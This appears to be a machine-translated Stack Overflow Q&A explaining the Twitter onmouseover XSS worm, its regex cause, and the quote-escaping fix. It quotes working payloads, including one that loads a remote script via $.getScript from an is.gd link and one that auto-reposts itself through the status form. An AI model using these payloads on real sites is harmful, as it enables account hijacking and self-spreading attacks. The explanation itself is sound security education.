ibz*_*ibz 52 javascript security twitter xss jquery
你能解释一下今天Twitter上究竟发生了什么吗?基本上,漏洞利用导致人们发布包含此链接的推文:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
这在技术上是XSS攻击还是其他什么?
以下是Twitter主页的外观:http://www.flickr.com/photos/travelist/6832853140/
Mic*_*kis 38
该漏洞是因为未正确解析URL.例如,以下URL发布到Twitter:
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Run Code Online (Sandbox Code Playgroud)
Twitter将此视为URL.解析时,Twitter会围绕该代码包含一个链接,因此HTML现在看起来像:
<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
Run Code Online (Sandbox Code Playgroud)
你可以看到,通过输入URL和尾部斜杠,Twitter认为它有一个有效的URL,即使它包含一个引号标记,允许它转义(即终止href属性,对于那里的学生)URL属性并包括鼠标.您可以向页面写入任何内容,包括关闭链接和包含脚本元素.此外,您不受限制,因为您可以使用140个字符限制$.getScript().
详细而言,违规的正则表达式是:
REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
@[^\/]+\/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
Run Code Online (Sandbox Code Playgroud)
@[^\/]+\/当它以@符号作为前缀并以正斜杠为后缀时,该部分允许任何字符(正斜杠除外).
@#{REGEXEN[:valid_general_url_path_chars]}+\/现在更改为只允许有效的URL字符.
roo*_*ook 15
是的,这是XSS,它正在攻击一个javascript事件处理程序.这个XSS的酷炫之处在于它不需要<>利用.注入的字符串是:size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".
它size::999999999999px使得它非常大,并且更有可能有人会将鼠标悬停在它上面.真正的问题是onmouseover=事件处理程序.
要在PHP中防止这种情况,您需要将引号转换为其html实体:
$var=htmlspecialchars($var,ENT_QUOTES);
这是因为HTML无法像sql一样转义引号: \'
该漏洞是 JavaScript 注入的经典部分。假设您写了一条包含以下文本的推文:
\n\n"http://www.guardian.co.uk/technology is the best!"\nRun Code Online (Sandbox Code Playgroud)\n\n当您查看 Twitter 网页时,它会变成一个链接,如下所示:
\n\n<a href="http://www.guardian.co.uk/technology" class="tweet-url web" \n rel="nofollow">http://www.guardian.co.uk/technology</a> is the best!\nRun Code Online (Sandbox Code Playgroud)\n\n该漏洞攻击了链接创建功能。漏洞利用推文的原始文本将如下所示:
\n\nhttp://a.no/@";onmouseover=";$(\'textarea:first\').val(this.innerHTML);\n $(\'.status-update-form\').submit();"class="modal-overlay"/\nRun Code Online (Sandbox Code Playgroud)\n\nTwitter 没有正确保护,可能是因为 @" 字符组合破坏了他们的 [HTML] 解析器。该链接将生成以下页面源代码:
\n\n<a href="http://a.no/@";onmouseover=";$(\'textarea:first\').val(this.innerHTML);\n $(\'.status-update-form\').submit();"class="modal-overlay"/ class="tweet-url web"\n rel="nofollow">\nRun Code Online (Sandbox Code Playgroud)\n\n这意味着可执行内容(onMouseOver="stuff" 位)已结束在页面源代码中。浏览器不知道更多,就运行了这段代码。因为它运行在用户的浏览器中,所以它可以执行用户执行的任何操作;大多数变体都利用这种能力来重新发布内容,这就是它像病毒一样传播的原因。为了鼓励用户通过鼠标悬停来激活代码,他们还使用 CSS [层叠样式表,决定页面布局] 将块格式化为黑底黑字。其他版本被用户黑客攻击以获得各种其他效果,例如色情网站重定向、推文中的彩虹文本等等。其中一些会弹出旨在警告用户的对话框,谈论帐户被禁用或密码被盗(在这两种情况下,他们都没有)。
\n\nTwitter 不是通过阻止 onMouseOver 字符串(一些愚蠢的博客所要求的)来解决这个问题,而是通过正确地清理输入来解决这个问题。这些推文中的 " 标记现在变成了 " \xe2\x80\x93 HTML 转义形式。
\n\n从技术上讲,这是一种二阶注入攻击;攻击字符串被插入数据库并正确处理,但是当字符串被读回时,攻击就会发生。这也不是那么复杂的攻击——对于 Twitter 来说,他们被抓住了,这让他们感到相当尴尬。
\n\n资料来源:Twitter 黑客攻击:它是如何开始以及如何运作的
\n